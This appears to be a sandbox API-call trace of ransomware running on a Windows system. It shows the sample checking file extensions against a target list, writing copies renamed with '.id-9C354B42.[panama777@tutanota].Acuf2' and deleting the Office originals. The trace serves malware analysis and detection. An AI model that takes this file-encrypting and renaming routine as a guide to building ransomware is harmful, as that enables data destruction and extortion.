	[0274.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57
	[0274.288] lstrlenW (lpString=".1cd") returned 4
	[0274.288] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0274.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57
	[0274.289] lstrlenW (lpString=".jpg") returned 4
	[0274.289] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0274.308] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.308] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\custom.propdesc.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0274.308] GetLastError () returned 0x0
	[0274.308] ReadFile (in: hFile=0x358, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x53f, lpOverlapped=0x0) returned 1
	[0274.310] WriteFile (in: hFile=0x28c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x540, lpOverlapped=0x0) returned 1
	[0274.310] ReadFile (in: hFile=0x358, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.310] WriteFile (in: hFile=0x28c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xf2, lpOverlapped=0x0) returned 1
	[0274.310] SetEndOfFile (hFile=0x28c) returned 1
	[0274.311] CloseHandle (hObject=0x28c) returned 1
	[0274.311] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.311] SetEndOfFile (hFile=0x358) returned 1
	[0274.317] CloseHandle (hObject=0x358) returned 1
	[0274.318] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.318] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc" (normalized: "c:\\program files\\microsoft office\\office14\\custom.propdesc")) returned 1
	[0274.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58
	[0274.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58
	[0274.318] lstrlenW (lpString=".doc") returned 4
	[0274.318] lstrcmpiW (lpString1=".doc", lpString2="desc") returned -1
	[0274.318] lstrlenW (lpString=".docx") returned 5
	[0274.318] lstrcmpiW (lpString1=".docx", lpString2="pdesc") returned -1
	[0274.318] lstrlenW (lpString=".pdf") returned 4
	[0274.318] lstrcmpiW (lpString1=".pdf", lpString2="desc") returned -1
	[0274.318] lstrlenW (lpString=".xls") returned 4
	[0274.318] lstrcmpiW (lpString1=".xls", lpString2="desc") returned -1
	[0274.318] lstrlenW (lpString=".xlsx") returned 5
	[0274.318] lstrcmpiW (lpString1=".xlsx", lpString2="pdesc") returned -1
	[0274.318] lstrlenW (lpString=".ppt") returned 4
	[0274.318] lstrcmpiW (lpString1=".ppt", lpString2="desc") returned -1
	[0274.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58
	[0274.318] lstrlenW (lpString=".zip") returned 4
	[0274.318] lstrcmpiW (lpString1=".zip", lpString2="desc") returned -1
	[0274.318] lstrlenW (lpString=".rar") returned 4
	[0274.319] lstrcmpiW (lpString1=".rar", lpString2="desc") returned -1
	[0274.319] lstrlenW (lpString=".bz2") returned 4
	[0274.319] lstrcmpiW (lpString1=".bz2", lpString2="desc") returned -1
	[0274.319] lstrlenW (lpString=".7z") returned 3
	[0274.319] lstrcmpiW (lpString1=".7z", lpString2="esc") returned -1
	[0274.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58
	[0274.319] lstrlenW (lpString=".dbf") returned 4
	[0274.319] lstrcmpiW (lpString1=".dbf", lpString2="desc") returned -1
	[0274.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58
	[0274.319] lstrlenW (lpString=".1cd") returned 4
	[0274.319] lstrcmpiW (lpString1=".1cd", lpString2="desc") returned -1
	[0274.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58
	[0274.319] lstrlenW (lpString=".jpg") returned 4
	[0274.319] lstrcmpiW (lpString1=".jpg", lpString2="desc") returned -1
	[0274.319] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=594288) returned 1
	[0274.319] CloseHandle (hObject=0x358) returned 1
	[0274.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\datagath.dll")) returned 0x20
	[0274.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\datagath.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\datagath.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0274.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55
	[0274.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55
	[0274.320] lstrlenW (lpString=".doc") returned 4
	[0274.320] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0274.320] lstrlenW (lpString=".docx") returned 5
	[0274.320] lstrcmpiW (lpString1=".docx", lpString2="H.DLL") returned -1
	[0274.320] lstrlenW (lpString=".pdf") returned 4
	[0274.320] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0274.320] lstrlenW (lpString=".xls") returned 4
	[0274.320] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0274.320] lstrlenW (lpString=".xlsx") returned 5
	[0274.320] lstrcmpiW (lpString1=".xlsx", lpString2="H.DLL") returned -1
	[0274.320] lstrlenW (lpString=".ppt") returned 4
	[0274.320] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0274.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55
	[0274.320] lstrlenW (lpString=".zip") returned 4
	[0274.320] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0274.320] lstrlenW (lpString=".rar") returned 4
	[0274.320] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0274.320] lstrlenW (lpString=".bz2") returned 4
	[0274.321] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0274.321] lstrlenW (lpString=".7z") returned 3
	[0274.321] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0274.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55
	[0274.321] lstrlenW (lpString=".dbf") returned 4
	[0274.321] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0274.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55
	[0274.321] lstrlenW (lpString=".1cd") returned 4
	[0274.321] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0274.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55
	[0274.321] lstrlenW (lpString=".jpg") returned 4
	[0274.321] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0274.327] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\DRILLDWN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\drilldwn.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\DRILLDWN.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\drilldwn.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0274.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DRILLDWN.DLL") returned 55
	[0274.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DRILLDWN.DLL") returned 55
	[0274.327] lstrlenW (lpString=".doc") returned 4
	[0274.327] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0274.327] lstrlenW (lpString=".docx") returned 5
	[0274.327] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1
	[0274.327] lstrlenW (lpString=".pdf") returned 4
	[0274.327] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0274.327] lstrlenW (lpString=".xls") returned 4
	[0274.327] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0274.327] lstrlenW (lpString=".xlsx") returned 5
	[0274.327] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1
	[0274.328] lstrlenW (lpString=".ppt") returned 4
	[0274.328] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0274.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DRILLDWN.DLL") returned 55
	[0274.328] lstrlenW (lpString=".zip") returned 4
	[0274.328] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0274.328] lstrlenW (lpString=".rar") returned 4
	[0274.328] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0274.328] lstrlenW (lpString=".bz2") returned 4
	[0274.328] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0274.328] lstrlenW (lpString=".7z") returned 3
	[0274.328] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0274.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DRILLDWN.DLL") returned 55
	[0274.328] lstrlenW (lpString=".dbf") returned 4
	[0274.328] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0274.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DRILLDWN.DLL") returned 55
	[0274.328] lstrlenW (lpString=".1cd") returned 4
	[0274.328] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0274.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DRILLDWN.DLL") returned 55
	[0274.328] lstrlenW (lpString=".jpg") returned 4
	[0274.328] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0274.330] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dwgdp.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\dwgdp.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0274.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL") returned 52
	[0274.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL") returned 52
	[0274.330] lstrlenW (lpString=".doc") returned 4
	[0274.330] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0274.330] lstrlenW (lpString=".docx") returned 5
	[0274.330] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1
	[0274.330] lstrlenW (lpString=".pdf") returned 4
	[0274.330] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0274.330] lstrlenW (lpString=".xls") returned 4
	[0274.330] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0274.331] lstrlenW (lpString=".xlsx") returned 5
	[0274.331] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1
	[0274.331] lstrlenW (lpString=".ppt") returned 4
	[0274.331] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0274.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL") returned 52
	[0274.331] lstrlenW (lpString=".zip") returned 4
	[0274.331] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0274.331] lstrlenW (lpString=".rar") returned 4
	[0274.331] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0274.331] lstrlenW (lpString=".bz2") returned 4
	[0274.331] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0274.331] lstrlenW (lpString=".7z") returned 3
	[0274.331] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0274.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL") returned 52
	[0274.331] lstrlenW (lpString=".dbf") returned 4
	[0274.331] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0274.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL") returned 52
	[0274.331] lstrlenW (lpString=".1cd") returned 4
	[0274.331] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0274.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL") returned 52
	[0274.331] lstrlenW (lpString=".jpg") returned 4
	[0274.331] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0274.335] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\EMSMDB32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\emsmdb32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\EMSMDB32.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\emsmdb32.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0274.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EMSMDB32.DLL") returned 55
	[0274.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EMSMDB32.DLL") returned 55
	[0274.335] lstrlenW (lpString=".doc") returned 4
	[0274.335] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0274.335] lstrlenW (lpString=".docx") returned 5
	[0274.335] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1
	[0274.335] lstrlenW (lpString=".pdf") returned 4
	[0274.335] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0274.335] lstrlenW (lpString=".xls") returned 4
	[0274.335] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0274.335] lstrlenW (lpString=".xlsx") returned 5
	[0274.335] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1
	[0274.335] lstrlenW (lpString=".ppt") returned 4
	[0274.335] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0274.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EMSMDB32.DLL") returned 55
	[0274.336] lstrlenW (lpString=".zip") returned 4
	[0274.336] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0274.336] lstrlenW (lpString=".rar") returned 4
	[0274.336] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0274.336] lstrlenW (lpString=".bz2") returned 4
	[0274.336] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0274.336] lstrlenW (lpString=".7z") returned 3
	[0274.336] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0274.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EMSMDB32.DLL") returned 55
	[0274.336] lstrlenW (lpString=".dbf") returned 4
	[0274.336] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0274.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EMSMDB32.DLL") returned 55
	[0274.336] lstrlenW (lpString=".1cd") returned 4
	[0274.336] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0274.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EMSMDB32.DLL") returned 55
	[0274.336] lstrlenW (lpString=".jpg") returned 4
	[0274.336] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0274.337] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.337] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\english.lng.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0274.337] GetLastError () returned 0x0
	[0274.337] ReadFile (in: hFile=0x360, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x4c22c, lpOverlapped=0x0) returned 1
	[0274.346] WriteFile (in: hFile=0x358, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x4c230, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x4c230, lpOverlapped=0x0) returned 1
	[0274.351] ReadFile (in: hFile=0x360, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.351] WriteFile (in: hFile=0x358, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0274.351] SetEndOfFile (hFile=0x358) returned 1
	[0274.351] CloseHandle (hObject=0x358) returned 1
	[0274.351] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.351] SetEndOfFile (hFile=0x360) returned 1
	[0274.359] CloseHandle (hObject=0x360) returned 1
	[0274.359] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.359] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\english.lng")) returned 1
	[0274.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54
	[0274.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54
	[0274.360] lstrlenW (lpString=".doc") returned 4
	[0274.360] lstrcmpiW (lpString1=".doc", lpString2=".LNG") returned -1
	[0274.360] lstrlenW (lpString=".docx") returned 5
	[0274.360] lstrcmpiW (lpString1=".docx", lpString2="H.LNG") returned -1
	[0274.360] lstrlenW (lpString=".pdf") returned 4
	[0274.360] lstrcmpiW (lpString1=".pdf", lpString2=".LNG") returned 1
	[0274.360] lstrlenW (lpString=".xls") returned 4
	[0274.360] lstrcmpiW (lpString1=".xls", lpString2=".LNG") returned 1
	[0274.360] lstrlenW (lpString=".xlsx") returned 5
	[0274.360] lstrcmpiW (lpString1=".xlsx", lpString2="H.LNG") returned -1
	[0274.360] lstrlenW (lpString=".ppt") returned 4
	[0274.360] lstrcmpiW (lpString1=".ppt", lpString2=".LNG") returned 1
	[0274.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54
	[0274.360] lstrlenW (lpString=".zip") returned 4
	[0274.360] lstrcmpiW (lpString1=".zip", lpString2=".LNG") returned 1
	[0274.360] lstrlenW (lpString=".rar") returned 4
	[0274.360] lstrcmpiW (lpString1=".rar", lpString2=".LNG") returned 1
	[0274.360] lstrlenW (lpString=".bz2") returned 4
	[0274.360] lstrcmpiW (lpString1=".bz2", lpString2=".LNG") returned -1
	[0274.360] lstrlenW (lpString=".7z") returned 3
	[0274.360] lstrcmpiW (lpString1=".7z", lpString2="LNG") returned -1
	[0274.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54
	[0274.360] lstrlenW (lpString=".dbf") returned 4
	[0274.360] lstrcmpiW (lpString1=".dbf", lpString2=".LNG") returned -1
	[0274.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54
	[0274.360] lstrlenW (lpString=".1cd") returned 4
	[0274.360] lstrcmpiW (lpString1=".1cd", lpString2=".LNG") returned -1
	[0274.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54
	[0274.360] lstrlenW (lpString=".jpg") returned 4
	[0274.360] lstrcmpiW (lpString1=".jpg", lpString2=".LNG") returned -1
	[0274.361] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=62336) returned 1
	[0274.361] CloseHandle (hObject=0x360) returned 1
	[0274.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll" (normalized: "c:\\program files\\microsoft office\\office14\\entitydatahandler.dll")) returned 0x20
	[0274.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\entitydatahandler.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll" (normalized: "c:\\program files\\microsoft office\\office14\\entitydatahandler.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0274.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll") returned 64
	[0274.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll") returned 64
	[0274.362] lstrlenW (lpString=".doc") returned 4
	[0274.362] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0274.362] lstrlenW (lpString=".docx") returned 5
	[0274.362] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0274.362] lstrlenW (lpString=".pdf") returned 4
	[0274.362] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0274.362] lstrlenW (lpString=".xls") returned 4
	[0274.362] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0274.362] lstrlenW (lpString=".xlsx") returned 5
	[0274.362] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0274.362] lstrlenW (lpString=".ppt") returned 4
	[0274.362] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0274.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll") returned 64
	[0274.362] lstrlenW (lpString=".zip") returned 4
	[0274.362] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0274.362] lstrlenW (lpString=".rar") returned 4
	[0274.362] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0274.362] lstrlenW (lpString=".bz2") returned 4
	[0274.362] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0274.362] lstrlenW (lpString=".7z") returned 3
	[0274.362] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0274.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll") returned 64
	[0274.363] lstrlenW (lpString=".dbf") returned 4
	[0274.363] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0274.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll") returned 64
	[0274.363] lstrlenW (lpString=".1cd") returned 4
	[0274.363] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0274.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll") returned 64
	[0274.363] lstrlenW (lpString=".jpg") returned 4
	[0274.363] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0274.364] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.364] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\erximp.add.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0274.365] GetLastError () returned 0x0
	[0274.365] ReadFile (in: hFile=0x360, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x14fa0, lpOverlapped=0x0) returned 1
	[0274.410] WriteFile (in: hFile=0x358, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x14fb0, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x14fb0, lpOverlapped=0x0) returned 1
	[0274.412] ReadFile (in: hFile=0x360, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.412] WriteFile (in: hFile=0x358, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0274.412] SetEndOfFile (hFile=0x358) returned 1
	[0275.168] CloseHandle (hObject=0x358) returned 1
	[0275.168] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.169] SetEndOfFile (hFile=0x360) returned 1
	[0275.172] CloseHandle (hObject=0x360) returned 1
	[0275.172] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.195] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD" (normalized: "c:\\program files\\microsoft office\\office14\\erximp.add")) returned 1
	[0275.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53
